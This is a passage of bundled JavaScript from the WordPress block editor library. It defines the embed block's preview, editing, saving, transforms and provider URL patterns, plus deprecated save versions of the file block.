      const { ownerDocument } = ref.current;
      const { defaultView } = ownerDocument;
      function resizeWPembeds({ data: { secret, message, value } = {} }) {
        if (message !== "height" || secret !== props["data-secret"]) {
          return;
        }
        ref.current.height = value;
      }
      defaultView.addEventListener("message", resizeWPembeds);
      return () => {
        defaultView.removeEventListener("message", resizeWPembeds);
      };
    }, []);
    return /* @__PURE__ */ (0, import_jsx_runtime233.jsx)("div", { className: "wp-block-embed__wrapper", children: /* @__PURE__ */ (0, import_jsx_runtime233.jsx)(
      "iframe",
      {
        ref: (0, import_compose18.useMergeRefs)([ref, (0, import_compose18.useFocusableIframe)()]),
        title: props.title,
        ...props
      }
    ) });
  }

  // packages/block-library/build-module/embed/embed-preview.mjs
  var import_jsx_runtime234 = __toESM(require_jsx_runtime(), 1);
  function EmbedPreview({
    preview,
    previewable,
    url,
    type,
    isSelected,
    className,
    icon: icon4,
    label
  }) {
    const [interactive, setInteractive] = (0, import_element27.useState)(false);
    if (!isSelected && interactive) {
      setInteractive(false);
    }
    const hideOverlay = () => {
      setInteractive(true);
    };
    const { scripts } = preview;
    const html = "photo" === type ? getPhotoHtml(preview) : preview.html;
    const embedSourceUrl = (0, import_url5.getAuthority)(url);
    const iframeTitle = (0, import_i18n59.sprintf)(
      // translators: %s: host providing embed content e.g: www.youtube.com
      (0, import_i18n59.__)("Embedded content from %s"),
      embedSourceUrl
    );
    const sandboxClassnames = clsx_default(
      type,
      className,
      "wp-block-embed__wrapper"
    );
    const embedWrapper = "wp-embed" === type ? /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(WpEmbedPreview, { html }) : /* @__PURE__ */ (0, import_jsx_runtime234.jsxs)("div", { className: "wp-block-embed__wrapper", children: [
      /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(
        import_components40.SandBox,
        {
          allowSameOrigin: true,
          html,
          scripts,
          title: iframeTitle,
          type: sandboxClassnames,
          onFocus: hideOverlay
        }
      ),
      !interactive && /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(
        "div",
        {
          className: "block-library-embed__interactive-overlay",
          onMouseUp: hideOverlay
        }
      )
    ] });
    return /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(import_jsx_runtime234.Fragment, { children: previewable ? embedWrapper : /* @__PURE__ */ (0, import_jsx_runtime234.jsxs)(
      import_components40.Placeholder,
      {
        icon: /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(import_block_editor74.BlockIcon, { icon: icon4, showColors: true }),
        label,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime234.jsx)("p", { className: "components-placeholder__error", children: /* @__PURE__ */ (0, import_jsx_runtime234.jsx)("a", { href: url, children: url }) }),
          /* @__PURE__ */ (0, import_jsx_runtime234.jsx)("p", { className: "components-placeholder__error", children: (0, import_i18n59.sprintf)(
            /* translators: %s: host providing embed content e.g: www.youtube.com */
            (0, import_i18n59.__)(
              "Embedded content from %s can't be previewed in the editor."
            ),
            embedSourceUrl
          ) })
        ]
      }
    ) });
  }

  // packages/block-library/build-module/embed/edit.mjs
  var import_i18n60 = __toESM(require_i18n(), 1);
  var import_element28 = __toESM(require_element(), 1);
  var import_data32 = __toESM(require_data(), 1);
  var import_block_editor75 = __toESM(require_block_editor(), 1);
  var import_core_data17 = __toESM(require_core_data(), 1);
  var import_primitives156 = __toESM(require_primitives(), 1);
  var import_url6 = __toESM(require_url(), 1);
  var import_jsx_runtime235 = __toESM(require_jsx_runtime(), 1);
  var EmbedEdit = (props) => {
    const {
      attributes: {
        providerNameSlug,
        previewable,
        responsive,
        url: attributesUrl
      },
      attributes: attributes2,
      isSelected,
      onReplace,
      setAttributes,
      insertBlocksAfter,
      onFocus
    } = props;
    const defaultEmbedInfo = {
      title: (0, import_i18n60._x)("Embed", "block title"),
      icon: embedContentIcon
    };
    const { icon: icon4, title } = getEmbedInfoByProvider(providerNameSlug) || defaultEmbedInfo;
    const [url, setURL] = (0, import_element28.useState)(attributesUrl);
    const [isEditingURL, setIsEditingURL] = (0, import_element28.useState)(false);
    const { invalidateResolution } = (0, import_data32.useDispatch)(import_core_data17.store);
    const {
      preview,
      fetching,
      themeSupportsResponsive,
      cannotEmbed,
      hasResolved
    } = (0, import_data32.useSelect)(
      (select9) => {
        const {
          getEmbedPreview,
          isPreviewEmbedFallback,
          isRequestingEmbedPreview,
          getThemeSupports,
          hasFinishedResolution
        } = select9(import_core_data17.store);
        if (!attributesUrl) {
          return { fetching: false, cannotEmbed: false };
        }
        const embedPreview = getEmbedPreview(attributesUrl);
        const previewIsFallback = isPreviewEmbedFallback(attributesUrl);
        const badEmbedProvider = embedPreview?.html === false && embedPreview?.type === void 0;
        const wordpressCantEmbed = embedPreview?.data?.status === 404;
        const validPreview = !!embedPreview && !badEmbedProvider && !wordpressCantEmbed;
        return {
          preview: validPreview ? embedPreview : void 0,
          fetching: isRequestingEmbedPreview(attributesUrl),
          themeSupportsResponsive: getThemeSupports()["responsive-embeds"],
          cannotEmbed: !validPreview || previewIsFallback,
          hasResolved: hasFinishedResolution("getEmbedPreview", [
            attributesUrl
          ])
        };
      },
      [attributesUrl]
    );
    const getMergedAttributes = () => getMergedAttributesWithPreview(
      attributes2,
      preview,
      title,
      responsive
    );
    function toggleResponsive(newAllowResponsive) {
      const { className: className2 } = attributes2;
      const { html } = preview;
      setAttributes({
        allowResponsive: newAllowResponsive,
        className: getClassNames(
          html,
          className2,
          responsive && newAllowResponsive
        )
      });
    }
    (0, import_element28.useEffect)(() => {
      if (preview?.html || !cannotEmbed || !hasResolved) {
        return;
      }
      const newURL = attributesUrl.replace(/\/$/, "");
      setURL(newURL);
      setIsEditingURL(false);
      setAttributes({ url: newURL });
    }, [
      preview?.html,
      attributesUrl,
      cannotEmbed,
      hasResolved,
      setAttributes
    ]);
    (0, import_element28.useEffect)(() => {
      if (!cannotEmbed || fetching || !url) {
        return;
      }
      if ((0, import_url6.getAuthority)(url) === "x.com") {
        const newURL = new URL(url);
        newURL.host = "twitter.com";
        setAttributes({ url: newURL.toString() });
      }
    }, [url, cannotEmbed, fetching, setAttributes]);
    (0, import_element28.useEffect)(() => {
      if (preview && !isEditingURL) {
        const mergedAttributes = getMergedAttributes();
        const hasChanges = Object.keys(mergedAttributes).some(
          (key) => mergedAttributes[key] !== attributes2[key]
        );
        if (hasChanges) {
          setAttributes(mergedAttributes);
        }
        if (onReplace) {
          const upgradedBlock = createUpgradedEmbedBlock(
            props,
            mergedAttributes
          );
          if (upgradedBlock) {
            onReplace(upgradedBlock);
          }
        }
      }
    }, [preview, isEditingURL]);
    const blockProps = (0, import_block_editor75.useBlockProps)();
    if (fetching) {
      return /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(import_primitives156.View, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(embed_loading_default, {}) });
    }
    const label = (0, import_i18n60.sprintf)((0, import_i18n60.__)("%s URL"), title);
    const showEmbedPlaceholder = !preview || cannotEmbed || isEditingURL;
    if (showEmbedPlaceholder) {
      return /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(import_primitives156.View, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(
        embed_placeholder_default,
        {
          icon: icon4,
          label,
          onFocus,
          onSubmit: (event) => {
            if (event) {
              event.preventDefault();
            }
            const blockClass = removeAspectRatioClasses(
              attributes2.className
            );
            setIsEditingURL(false);
            setAttributes({ url, className: blockClass });
          },
          value: url,
          cannotEmbed,
          onChange: (value) => setURL(value),
          fallback: () => fallback(url, onReplace),
          tryAgain: () => {
            invalidateResolution("getEmbedPreview", [url]);
          }
        }
      ) });
    }
    const {
      caption,
      type,
      allowResponsive,
      className: classFromPreview
    } = getMergedAttributes();
    const className = clsx_default(classFromPreview, props.className);
    return /* @__PURE__ */ (0, import_jsx_runtime235.jsxs)(import_jsx_runtime235.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(
        embed_controls_default,
        {
          showEditButton: preview && !cannotEmbed,
          themeSupportsResponsive,
          blockSupportsResponsive: responsive,
          allowResponsive,
          toggleResponsive,
          switchBackToURLInput: () => setIsEditingURL(true)
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime235.jsxs)(
        "figure",
        {
          ...blockProps,
          className: clsx_default(blockProps.className, className, {
            [`is-type-${type}`]: type,
            [`is-provider-${providerNameSlug}`]: providerNameSlug,
            [`wp-block-embed-${providerNameSlug}`]: providerNameSlug
          }),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(
              EmbedPreview,
              {
                preview,
                previewable,
                className,
                url,
                type,
                caption,
                onCaptionChange: (value) => setAttributes({ caption: value }),
                isSelected,
                icon: icon4,
                label,
                insertBlocksAfter,
                attributes: attributes2,
                setAttributes
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(
              Caption,
              {
                attributes: attributes2,
                setAttributes,
                isSelected,
                insertBlocksAfter,
                label: (0, import_i18n60.__)("Embed caption text"),
                showToolbarButton: isSelected
              }
            )
          ]
        }
      )
    ] });
  };
  var edit_default9 = EmbedEdit;

  // packages/block-library/build-module/embed/save.mjs
  var import_block_editor76 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime236 = __toESM(require_jsx_runtime(), 1);
  function save16({ attributes: attributes2 }) {
    const { url, caption, type, providerNameSlug } = attributes2;
    if (!url) {
      return null;
    }
    const className = clsx_default("wp-block-embed", {
      [`is-type-${type}`]: type,
      [`is-provider-${providerNameSlug}`]: providerNameSlug,
      [`wp-block-embed-${providerNameSlug}`]: providerNameSlug
    });
    return /* @__PURE__ */ (0, import_jsx_runtime236.jsxs)("figure", { ...import_block_editor76.useBlockProps.save({ className }), children: [
      /* @__PURE__ */ (0, import_jsx_runtime236.jsx)("div", { className: "wp-block-embed__wrapper", children: `
${url}
` }),
      !import_block_editor76.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(
        import_block_editor76.RichText.Content,
        {
          className: (0, import_block_editor76.__experimentalGetElementClassName)("caption"),
          tagName: "figcaption",
          value: caption
        }
      )
    ] });
  }

  // packages/block-library/build-module/embed/transforms.mjs
  var import_blocks26 = __toESM(require_blocks(), 1);
  var { name: EMBED_BLOCK } = block_default7;
  var transforms7 = {
    from: [
      {
        type: "raw",
        isMatch: (node) => node.nodeName === "P" && /^\s*(https?:\/\/\S+)\s*$/i.test(node.textContent) && node.textContent?.match(/https/gi)?.length === 1,
        transform: (node) => {
          return (0, import_blocks26.createBlock)(EMBED_BLOCK, {
            url: node.textContent.trim()
          });
        }
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/paragraph"],
        isMatch: ({ url }) => !!url,
        transform: ({ url, caption, className }) => {
          let value = `<a href="${url}">${url}</a>`;
          if (caption?.trim()) {
            value += `<br />${caption}`;
          }
          return (0, import_blocks26.createBlock)("core/paragraph", {
            content: value,
            className: removeAspectRatioClasses(className)
          });
        }
      }
    ]
  };
  var transforms_default8 = transforms7;

  // packages/block-library/build-module/embed/variations.mjs
  var import_i18n61 = __toESM(require_i18n(), 1);
  function getTitle(providerName) {
    return (0, import_i18n61.sprintf)(
      /* translators: %s: provider name */
      (0, import_i18n61.__)("%s Embed"),
      providerName
    );
  }
  var variations4 = [
    {
      name: "twitter",
      title: getTitle("X"),
      icon: embedTwitterIcon,
      keywords: ["x", "twitter", "tweet", (0, import_i18n61.__)("social")],
      description: (0, import_i18n61.__)("Embed an X post."),
      patterns: [/^https?:\/\/(www\.)?twitter\.com\/.+/i],
      attributes: { providerNameSlug: "twitter", responsive: true }
    },
    {
      name: "youtube",
      title: getTitle("YouTube"),
      icon: embedYouTubeIcon,
      keywords: [(0, import_i18n61.__)("music"), (0, import_i18n61.__)("video")],
      description: (0, import_i18n61.__)("Embed a YouTube video."),
      patterns: [
        /^https?:\/\/((m|www)\.)?youtube\.com\/.+/i,
        /^https?:\/\/youtu\.be\/.+/i
      ],
      attributes: { providerNameSlug: "youtube", responsive: true }
    },
    {
      // Deprecate Facebook Embed per FB policy
      // See: https://developers.facebook.com/docs/plugins/oembed-legacy
      name: "facebook",
      title: getTitle("Facebook"),
      icon: embedFacebookIcon,
      keywords: [(0, import_i18n61.__)("social")],
      description: (0, import_i18n61.__)("Embed a Facebook post."),
      scope: ["block"],
      patterns: [],
      attributes: {
        providerNameSlug: "facebook",
        previewable: false,
        responsive: true
      }
    },
    {
      // Deprecate Instagram per FB policy
      // See: https://developers.facebook.com/docs/instagram/oembed-legacy
      name: "instagram",
      title: getTitle("Instagram"),
      icon: embedInstagramIcon,
      keywords: [(0, import_i18n61.__)("image"), (0, import_i18n61.__)("social")],
      description: (0, import_i18n61.__)("Embed an Instagram post."),
      scope: ["block"],
      patterns: [],
      attributes: { providerNameSlug: "instagram", responsive: true }
    },
    {
      name: "wordpress",
      title: getTitle("WordPress"),
      icon: embedWordPressIcon,
      keywords: [(0, import_i18n61.__)("post"), (0, import_i18n61.__)("blog")],
      description: (0, import_i18n61.__)("Embed a WordPress post."),
      attributes: {
        providerNameSlug: "wordpress"
      }
    },
    {
      name: "soundcloud",
      title: getTitle("SoundCloud"),
      icon: embedAudioIcon,
      keywords: [(0, import_i18n61.__)("music"), (0, import_i18n61.__)("audio")],
      description: (0, import_i18n61.__)("Embed SoundCloud content."),
      patterns: [/^https?:\/\/(www\.)?soundcloud\.com\/.+/i],
      attributes: { providerNameSlug: "soundcloud", responsive: true }
    },
    {
      name: "spotify",
      title: getTitle("Spotify"),
      icon: embedSpotifyIcon,
      keywords: [(0, import_i18n61.__)("music"), (0, import_i18n61.__)("audio")],
      description: (0, import_i18n61.__)("Embed Spotify content."),
      patterns: [/^https?:\/\/(open|play)\.spotify\.com\/.+/i],
      attributes: { providerNameSlug: "spotify", responsive: true }
    },
    {
      name: "flickr",
      title: getTitle("Flickr"),
      icon: embedFlickrIcon,
      keywords: [(0, import_i18n61.__)("image")],
      description: (0, import_i18n61.__)("Embed Flickr content."),
      patterns: [
        /^https?:\/\/(www\.)?flickr\.com\/.+/i,
        /^https?:\/\/flic\.kr\/.+/i
      ],
      attributes: { providerNameSlug: "flickr", responsive: true }
    },
    {
      name: "vimeo",
      title: getTitle("Vimeo"),
      icon: embedVimeoIcon,
      keywords: [(0, import_i18n61.__)("video")],
      description: (0, import_i18n61.__)("Embed a Vimeo video."),
      patterns: [/^https?:\/\/(www\.)?vimeo\.com\/.+/i],
      attributes: { providerNameSlug: "vimeo", responsive: true }
    },
    {
      name: "animoto",
      title: getTitle("Animoto"),
      icon: embedAnimotoIcon,
      description: (0, import_i18n61.__)("Embed an Animoto video."),
      patterns: [/^https?:\/\/(www\.)?(animoto|video214)\.com\/.+/i],
      attributes: { providerNameSlug: "animoto", responsive: true }
    },
    {
      name: "cloudup",
      title: getTitle("Cloudup"),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)("Embed Cloudup content."),
      patterns: [/^https?:\/\/cloudup\.com\/.+/i],
      attributes: { providerNameSlug: "cloudup", responsive: true }
    },
    {
      // Deprecated since CollegeHumor content is now powered by YouTube.
      name: "collegehumor",
      title: getTitle("CollegeHumor"),
      icon: embedVideoIcon,
      description: (0, import_i18n61.__)("Embed CollegeHumor content."),
      scope: ["block"],
      patterns: [],
      attributes: { providerNameSlug: "collegehumor", responsive: true }
    },
    {
      name: "crowdsignal",
      title: getTitle("Crowdsignal"),
      icon: embedContentIcon,
      keywords: ["polldaddy", (0, import_i18n61.__)("survey")],
      description: (0, import_i18n61.__)("Embed Crowdsignal (formerly Polldaddy) content."),
      patterns: [
        /^https?:\/\/((.+\.)?polldaddy\.com|poll\.fm|.+\.crowdsignal\.net|.+\.survey\.fm)\/.+/i
      ],
      attributes: { providerNameSlug: "crowdsignal", responsive: true }
    },
    {
      name: "dailymotion",
      title: getTitle("Dailymotion"),
      icon: embedDailymotionIcon,
      keywords: [(0, import_i18n61.__)("video")],
      description: (0, import_i18n61.__)("Embed a Dailymotion video."),
      patterns: [/^https?:\/\/(www\.)?dailymotion\.com\/.+/i],
      attributes: { providerNameSlug: "dailymotion", responsive: true }
    },
    {
      name: "imgur",
      title: getTitle("Imgur"),
      icon: embedPhotoIcon,
      description: (0, import_i18n61.__)("Embed Imgur content."),
      patterns: [/^https?:\/\/(.+\.)?imgur\.com\/.+/i],
      attributes: { providerNameSlug: "imgur", responsive: true }
    },
    {
      name: "issuu",
      title: getTitle("Issuu"),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)("Embed Issuu content."),
      patterns: [/^https?:\/\/(www\.)?issuu\.com\/.+/i],
      attributes: { providerNameSlug: "issuu", responsive: true }
    },
    {
      name: "kickstarter",
      title: getTitle("Kickstarter"),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)("Embed Kickstarter content."),
      patterns: [
        /^https?:\/\/(www\.)?kickstarter\.com\/.+/i,
        /^https?:\/\/kck\.st\/.+/i
      ],
      attributes: { providerNameSlug: "kickstarter", responsive: true }
    },
    {
      name: "mixcloud",
      title: getTitle("Mixcloud"),
      icon: embedAudioIcon,
      keywords: [(0, import_i18n61.__)("music"), (0, import_i18n61.__)("audio")],
      description: (0, import_i18n61.__)("Embed Mixcloud content."),
      patterns: [/^https?:\/\/(www\.)?mixcloud\.com\/.+/i],
      attributes: { providerNameSlug: "mixcloud", responsive: true }
    },
    {
      name: "pocket-casts",
      title: getTitle("Pocket Casts"),
      icon: embedPocketCastsIcon,
      keywords: [(0, import_i18n61.__)("podcast"), (0, import_i18n61.__)("audio")],
      description: (0, import_i18n61.__)("Embed a podcast player from Pocket Casts."),
      patterns: [/^https:\/\/pca.st\/\w+/i],
      attributes: { providerNameSlug: "pocket-casts", responsive: true }
    },
    {
      name: "reddit",
      title: getTitle("Reddit"),
      icon: embedRedditIcon,
      description: (0, import_i18n61.__)("Embed a Reddit thread."),
      patterns: [/^https?:\/\/(www\.)?reddit\.com\/.+/i],
      attributes: { providerNameSlug: "reddit", responsive: true }
    },
    {
      name: "reverbnation",
      title: getTitle("ReverbNation"),
      icon: embedAudioIcon,
      description: (0, import_i18n61.__)("Embed ReverbNation content."),
      patterns: [/^https?:\/\/(www\.)?reverbnation\.com\/.+/i],
      attributes: { providerNameSlug: "reverbnation", responsive: true }
    },
    {
      name: "scribd",
      title: getTitle("Scribd"),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)("Embed Scribd content."),
      patterns: [/^https?:\/\/(www\.)?scribd\.com\/.+/i],
      attributes: { providerNameSlug: "scribd", responsive: true }
    },
    {
      name: "smugmug",
      title: getTitle("SmugMug"),
      icon: embedPhotoIcon,
      description: (0, import_i18n61.__)("Embed SmugMug content."),
      patterns: [/^https?:\/\/(.+\.)?smugmug\.com\/.*/i],
      attributes: {
        providerNameSlug: "smugmug",
        previewable: false,
        responsive: true
      }
    },
    {
      name: "speaker-deck",
      title: getTitle("Speaker Deck"),
      icon: embedContentIcon,
      description: (0, import_i18n61.__)("Embed Speaker Deck content."),
      patterns: [/^https?:\/\/(www\.)?speakerdeck\.com\/.+/i],
      attributes: { providerNameSlug: "speaker-deck", responsive: true }
    },
    {
      name: "tiktok",
      title: getTitle("TikTok"),
      icon: embedVideoIcon,
      keywords: [(0, import_i18n61.__)("video")],
      description: (0, import_i18n61.__)("Embed a TikTok video."),
      patterns: [/^https?:\/\/(www\.)?tiktok\.com\/.+/i],
      attributes: { providerNameSlug: "tiktok", responsive: true }
    },
    {
      name: "ted",
      title: getTitle("TED"),
      icon: embedVideoIcon,
      description: (0, import_i18n61.__)("Embed a TED video."),
      patterns: [/^https?:\/\/(www\.|embed\.)?ted\.com\/.+/i],
      attributes: { providerNameSlug: "ted", responsive: true }
    },
    {
      name: "tumblr",
      title: getTitle("Tumblr"),
      icon: embedTumblrIcon,
      keywords: [(0, import_i18n61.__)("social")],
      description: (0, import_i18n61.__)("Embed a Tumblr post."),
      patterns: [/^https?:\/\/(.+)\.tumblr\.com\/.+/i],
      attributes: { providerNameSlug: "tumblr", responsive: true }
    },
    {
      name: "videopress",
      title: getTitle("VideoPress"),
      icon: embedVideoIcon,
      keywords: [(0, import_i18n61.__)("video")],
      description: (0, import_i18n61.__)("Embed a VideoPress video."),
      patterns: [/^https?:\/\/videopress\.com\/.+/i],
      attributes: { providerNameSlug: "videopress", responsive: true }
    },
    {
      name: "wordpress-tv",
      title: getTitle("WordPress.tv"),
      icon: embedVideoIcon,
      description: (0, import_i18n61.__)("Embed a WordPress.tv video."),
      patterns: [/^https?:\/\/wordpress\.tv\/.+/i],
      attributes: { providerNameSlug: "wordpress-tv", responsive: true }
    },
    {
      name: "amazon-kindle",
      title: getTitle("Amazon Kindle"),
      icon: embedAmazonIcon,
      keywords: [(0, import_i18n61.__)("ebook")],
      description: (0, import_i18n61.__)("Embed Amazon Kindle content."),
      patterns: [
        /^https?:\/\/([a-z0-9-]+\.)?(amazon|amzn)(\.[a-z]{2,4})+\/.+/i,
        /^https?:\/\/(www\.)?(a\.co|z\.cn)\/.+/i
      ],
      attributes: { providerNameSlug: "amazon-kindle" }
    },
    {
      name: "pinterest",
      title: getTitle("Pinterest"),
      icon: embedPinterestIcon,
      keywords: [(0, import_i18n61.__)("social"), (0, import_i18n61.__)("bookmark")],
      description: (0, import_i18n61.__)("Embed Pinterest pins, boards, and profiles."),
      patterns: [
        /^https?:\/\/([a-z]{2}|www)\.pinterest\.com(\.(au|mx))?\/.*/i
      ],
      attributes: { providerNameSlug: "pinterest" }
    },
    {
      name: "wolfram-cloud",
      title: getTitle("Wolfram"),
      icon: embedWolframIcon,
      description: (0, import_i18n61.__)("Embed Wolfram notebook content."),
      patterns: [/^https?:\/\/(www\.)?wolframcloud\.com\/obj\/.+/i],
      attributes: { providerNameSlug: "wolfram-cloud", responsive: true }
    },
    {
      name: "bluesky",
      title: getTitle("Bluesky"),
      icon: embedBlueskyIcon,
      description: (0, import_i18n61.__)("Embed a Bluesky post."),
      patterns: [/^https?:\/\/bsky\.app\/profile\/.+\/post\/.+/i],
      attributes: { providerNameSlug: "bluesky" }
    }
  ];
  variations4.forEach((variation) => {
    if (variation.isActive) {
      return;
    }
    variation.isActive = (blockAttributes8, variationAttributes) => blockAttributes8.providerNameSlug === variationAttributes.providerNameSlug;
  });
  var variations_default4 = variations4;

  // packages/block-library/build-module/embed/deprecated.mjs
  var import_block_editor77 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime237 = __toESM(require_jsx_runtime(), 1);
  var { attributes: blockAttributes3 } = block_default7;
  var v25 = {
    attributes: blockAttributes3,
    save({ attributes: attributes2 }) {
      const { url, caption, type, providerNameSlug } = attributes2;
      if (!url) {
        return null;
      }
      const className = clsx_default("wp-block-embed", {
        [`is-type-${type}`]: type,
        [`is-provider-${providerNameSlug}`]: providerNameSlug,
        [`wp-block-embed-${providerNameSlug}`]: providerNameSlug
      });
      return /* @__PURE__ */ (0, import_jsx_runtime237.jsxs)("figure", { ...import_block_editor77.useBlockProps.save({ className }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime237.jsx)("div", { className: "wp-block-embed__wrapper", children: `
${url}
` }),
        !import_block_editor77.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(import_block_editor77.RichText.Content, { tagName: "figcaption", value: caption })
      ] });
    }
  };
  var v113 = {
    attributes: blockAttributes3,
    save({ attributes: { url, caption, type, providerNameSlug } }) {
      if (!url) {
        return null;
      }
      const embedClassName = clsx_default("wp-block-embed", {
        [`is-type-${type}`]: type,
        [`is-provider-${providerNameSlug}`]: providerNameSlug
      });
      return /* @__PURE__ */ (0, import_jsx_runtime237.jsxs)("figure", { className: embedClassName, children: [
        `
${url}
`,
        !import_block_editor77.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(import_block_editor77.RichText.Content, { tagName: "figcaption", value: caption })
      ] });
    }
  };
  var deprecated5 = [v25, v113];
  var deprecated_default15 = deprecated5;

  // packages/block-library/build-module/embed/index.mjs
  var { name: name32 } = block_default7;
  var settings32 = {
    icon: embedContentIcon,
    edit: edit_default9,
    save: save16,
    transforms: transforms_default8,
    variations: variations_default4,
    deprecated: deprecated_default15
  };
  var init32 = () => initBlock({ name: name32, metadata: block_default7, settings: settings32 });

  // packages/block-library/build-module/file/index.mjs
  var file_exports = {};
  __export(file_exports, {
    init: () => init33,
    metadata: () => block_default33,
    name: () => name33,
    settings: () => settings33
  });
  var import_i18n65 = __toESM(require_i18n(), 1);
  var import_blocks28 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/file/deprecated.mjs
  var import_block_editor78 = __toESM(require_block_editor(), 1);
  var import_i18n62 = __toESM(require_i18n(), 1);
  var import_jsx_runtime238 = __toESM(require_jsx_runtime(), 1);
  var v32 = {
    attributes: {
      id: {
        type: "number"
      },
      href: {
        type: "string"
      },
      fileId: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "id"
      },
      fileName: {
        type: "string",
        source: "html",
        selector: "a:not([download])"
      },
      textLinkHref: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "href"
      },
      textLinkTarget: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "target"
      },
      showDownloadButton: {
        type: "boolean",
        default: true
      },
      downloadButtonText: {
        type: "string",
        source: "html",
        selector: "a[download]"
      },
      displayPreview: {
        type: "boolean"
      },
      previewHeight: {
        type: "number",
        default: 600
      }
    },
    supports: {
      anchor: true,
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        href,
        fileId,
        fileName,
        textLinkHref,
        textLinkTarget,
        showDownloadButton,
        downloadButtonText,
        displayPreview,
        previewHeight
      } = attributes2;
      const pdfEmbedLabel = import_block_editor78.RichText.isEmpty(fileName) ? (0, import_i18n62.__)("PDF embed") : (0, import_i18n62.sprintf)(
        /* translators: %s: filename. */
        (0, import_i18n62.__)("Embed of %s."),
        fileName
      );
      const hasFilename = !import_block_editor78.RichText.isEmpty(fileName);
      const describedById = hasFilename ? fileId : void 0;
      return href && /* @__PURE__ */ (0, import_jsx_runtime238.jsxs)("div", { ...import_block_editor78.useBlockProps.save(), children: [
        displayPreview && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_jsx_runtime238.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          "object",
          {
            className: "wp-block-file__embed",
            data: href,
            type: "application/pdf",
            style: {
              width: "100%",
              height: `${previewHeight}px`
            },
            "aria-label": pdfEmbedLabel
          }
        ) }),
        hasFilename && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          "a",
          {
            id: describedById,
            href: textLinkHref,
            target: textLinkTarget,
            rel: textLinkTarget ? "noreferrer noopener" : void 0,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: fileName })
          }
        ),
        showDownloadButton && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          "a",
          {
            href,
            className: clsx_default(
              "wp-block-file__button",
              (0, import_block_editor78.__experimentalGetElementClassName)("button")
            ),
            download: true,
            "aria-describedby": describedById,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: downloadButtonText })
          }
        )
      ] });
    }
  };
  var v26 = {
    attributes: {
      id: {
        type: "number"
      },
      href: {
        type: "string"
      },
      fileId: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "id"
      },
      fileName: {
        type: "string",
        source: "html",
        selector: "a:not([download])"
      },
      textLinkHref: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "href"
      },
      textLinkTarget: {
        type: "string",
        source: "attribute",
        selector: "a:not([download])",
        attribute: "target"
      },
      showDownloadButton: {
        type: "boolean",
        default: true
      },
      downloadButtonText: {
        type: "string",
        source: "html",
        selector: "a[download]"
      },
      displayPreview: {
        type: "boolean"
      },
      previewHeight: {
        type: "number",
        default: 600
      }
    },
    supports: {
      anchor: true,
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        href,
        fileId,
        fileName,
        textLinkHref,
        textLinkTarget,
        showDownloadButton,
        downloadButtonText,
        displayPreview,
        previewHeight
      } = attributes2;
      const pdfEmbedLabel = import_block_editor78.RichText.isEmpty(fileName) ? (0, import_i18n62.__)("PDF embed") : (0, import_i18n62.sprintf)(
        /* translators: %s: filename. */
        (0, import_i18n62.__)("Embed of %s."),
        fileName
      );
      const hasFilename = !import_block_editor78.RichText.isEmpty(fileName);
      const describedById = hasFilename ? fileId : void 0;
      return href && /* @__PURE__ */ (0, import_jsx_runtime238.jsxs)("div", { ...import_block_editor78.useBlockProps.save(), children: [
        displayPreview && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_jsx_runtime238.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          "object",
          {
            className: "wp-block-file__embed",
            data: href,
            type: "application/pdf",
            style: {
              width: "100%",
              height: `${previewHeight}px`
            },
            "aria-label": pdfEmbedLabel
          }
        ) }),
        hasFilename && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          "a",
          {
            id: describedById,
            href: textLinkHref,
            target: textLinkTarget,
            rel: textLinkTarget ? "noreferrer noopener" : void 0,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: fileName })
          }
        ),
        showDownloadButton && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
          "a",
          {
            href,
            className: "wp-block-file__button",
            download: true,
            "aria-describedby": describedById,
            children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_block_editor78.RichText.Content, { value: downloadButtonText })
          }
        )
      ] });
    }
  };
  var v114 = {
    attributes: {
      id: {
        type: "number"
      },
      href: {
        type: "string"
      },
      fileName: {
